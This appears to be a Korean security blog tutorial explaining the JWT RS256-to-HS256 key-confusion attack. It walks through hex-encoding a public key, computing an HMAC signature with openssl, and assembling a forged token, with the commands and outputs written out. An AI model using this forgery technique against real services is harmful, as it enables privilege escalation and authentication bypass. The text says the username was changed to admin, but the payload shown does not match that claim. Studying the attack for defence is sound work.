'signature'에 해당되는 글 1건

반응형

JWT에서 signature 생성을 위한 알고리즘에는 대표적으로 RS256와 HS256가 있다. 이 때, RS256은 비대칭 알고리즘이므로 공개키와 개인키가 있는 반면, HS256은 대칭키이므로 하나의 키만을 사용하게 된다. 이에 따라, RS256 JWT 토큰을 HS256으로 변환시켜 권한 상승이 가능한 취약점이 존재한다.


아래부터는 RS256 JWT 토큰을 HS256으로 변환시키는 과정을 단계별로 상세히 작성해보겠다.


그 전에 참고용으로 RS256와 HS256에 대해 알아보도록 하자.

* RS256 : RSA Signature with SHA-256의 줄임말이다. 

* HS256 : HMAC SHA-256의 줄임말이며, 여기서 HMAC이란 keyed-hash message authentication code 혹은 hash-based message authentication code라고 표현할 수 있다.




Step 1. 제공받은 public key (key.pem)을 아래의 명령어를 통해 HEX로 변환해준다.

$ cat key.pem | xxd -p | tr -d "\\n"

2d2d2d2d2d424547494e20505[STRIPPED]592d2d2d2d2d0a


 (1) /key를 통해 제공받은 public key를 key.pem으로 저장한다. 이 때 인증서 형식에 맞게 저장해야 한다.


(2) xxd는 주어진 파일을 16진수나 2진수 형태로 볼 수 있는 명령어로 -p 옵션을 통해 포맷이 없는 hexdump를 출력해준다.


(3) tr 명령어는 translate의 약어로, 지정한 문자를 바꾸어주거나 삭제하는 명령어다. -d 옵션을 통해 개행 문자를 제거해준다.


(4) 위의 명령어들을 통해 public key를 hexdump한 데이터가 개행문자 없이 출력된다.


Step 2. 이전에 수정한 토큰과 public key를 ASCII hex 형태로 바꾼 것을 통해 HMAC signature를 생성한다.

$ echo -n "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6IjIzIiwidXNlcm5hbWUiOiJ2aXNpdG9yIiwicm9sZSI6IjEifQ" | openssl dgst -sha256 -mac HMAC -macopt hexkey:2d2d2d2d2d424547494e20505[STRIPPED]592d2d2d2d2d0a


(stdin)= 8f421b351eb61ff226df88d526a7e9b9bb7b8239688c1f862f261a0c588910e0


(1) username을 admin으로 변경한 토큰에서 signature를 제거한 것을 echo를 통해 다음 명령어의 입력으로 넣어주며 이 때 -n 옵션을 통해 개행문자는 제거해준다.


(2) openssl 명령어를 통해 제공받은 토큰을 암호화해줄 것이다. 이 때 dgst를 통해 SHA256 digest로 설정해주고, -mac 옵션을 통해 HMAC 알고리즘을 이용한 MAC(keyed Message Authentication Code)를 생성해 줄 것이며, -macopt 옵션을 이용하여 MAC key를 16진수로 된 키로 지정해준다. 여기서 지정해준 MAC key는 [Step 1]에서 나온 결과물을 입력해준다.


(3) 해당 결과물은 RSA의 공개키를 이용하여 HS256에서 사용할 비밀키를 생성해준 것이다.


Step 3. signature를 HEX에서 base64로 변환해준다.

$ python2 -c "exec(\"import base64, binascii\nprint
base64.urlsafe_b64encode(binascii.a2b_hex('8f421b351eb61ff226df88d526a7e9b9bb7b8239688c1f862f261a0c588910e0')).replace('=','')\")"


(1) binascii.a2b_hex 함수를 이용하여 Step2의 결과인 비밀키를 binary 형태의 16진수로 만들어주고 이것을 base64로 변환해준 뒤 signature로 만들어주기 위해 =를 제거해준다.


Step 4. 수정한 payload에 signature를 붙여준다.

[HEADER EDITED RS256 TO HS256].[DATA EDITED].[SIGNATURE]

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6IjIzIiwidXNlcm5hbWUiOiJ2aXNpdG9yIiwicm9sZSI6IjEifQ.j0IbNR62H_Im34jVJqfpubt7gjlojB-GLyYaDFiJEOA



참고

- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/74f2dfcccaec7786598a93733ecacadee35c6131/JSON%20Web%20Token

- https://www.it-swarm.asia/ko/jwt/rs256-%eb%8c%80-hs256-%ea%b7%b8-%ec%b0%a8%ec%9d%b4%ec%a0%90%ec%9d%80-%eb%ac%b4%ec%97%87%ec%9e%85%eb%8b%88%ea%b9%8c/826436771/

 - https://en.wikipedia.org/wiki/HMAC

반응형

'Hacking > Web' 카테고리의 다른 글

Study of XXE  (0) 2020.03.03
PHP wrapper  (0) 2020.03.02
open_basedir setting and bypass  (0) 2019.12.31
Sqlite Sql Injection Prevention  (0) 2019.12.30
HTTP 인증 우회  (0) 2019.12.16
블로그 이미지

rootable

,